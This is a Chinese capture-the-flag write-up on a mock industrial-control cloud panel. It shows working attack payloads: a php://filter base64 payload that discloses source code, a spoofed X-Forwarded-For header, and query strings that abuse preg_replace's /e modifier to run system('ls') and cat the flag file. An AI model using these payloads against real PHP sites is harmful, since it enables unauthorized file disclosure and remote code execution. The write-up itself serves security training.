其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
打开题目，是一个工控云管理系统，随意点击旁边的菜单，发现只有设备维护中心可以正常进入
无意间点击左上角‘云平台设备维护中心’之后，发现页面进行跳转，page=index
?
将URL内的index改为任何字符，页面都会进行回显
在index后添加一个.php，页面回显ok，说明index.php存在，可以尝试读取一下
这里需要用到php://filter协议读内容
php://filter/read=convert.base64-encode/resource=index.php
php://filter 是php中独有的一个协议，可以作为一个中间流来处理其他流，也可以进行任意文件的读取，具有resource（要过滤的数据流）、read（读链筛选的数据流）、write（写链筛选的数据流）等等参数。在知道使用php://filter/read之后，为什么read后会跟一些奇怪的参数，include一个文件中有php代码会进行php解析，如果是明文传输，则会直接返回。用了过滤器，如果是php文件就不会解析，就可以拿到php文件的源码了，虽然是以base64回显在页面，但是只要通过base64解码即可
base64解码，解码快捷网址→→https://base64.us/
?
进行php代码审计
<?php
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {//在burp加个X-Forwarded-For头
echo "<br >Welcome My Admin ! <br >";//输出Welcome My Admin !
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {//非空且为字符串
preg_replace($pattern, $replacement, $subject);//存在preg_replace漏洞
}else{
die();
}
}
查了一下preg_replace函数，有一个很严重的漏洞存在。举个例子：preg_replace("/txt/e",$_GET["ganyu"],"txt");/e会将ganyu当做php代码运行
preg_replace语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject[, int $limit = -1 [, int &$count ]])
$pattern: 要搜索的模式，可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选，对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1（无限制）。
$count: 可选，为替换执行的次数。
开启burp，刷新将内容抓包重放
先将X-Forwarded-For设为127.0.0.1
在txt后使用/e修饰符，preg_replace会将 mixed $replacement 参数（system("ls")）当作 PHP 代码执行
?pat=/txt/e&rep=system("ls")&sub=txt
回显内容，盲猜flag在s3chahahaDir内
?
访问s3chahahaDir
?pat=/txt/e&rep=system("ls+s3chahahaDir")&sub=txt
查看flag
?pat=/txt/e&rep=system("ls+s3chahahaDir/flag")&sub=txt
提示内容在flag.php下
?pat=/txt/e&rep=system("cat+s3chahahaDir/flag/flag.php")&sub=txt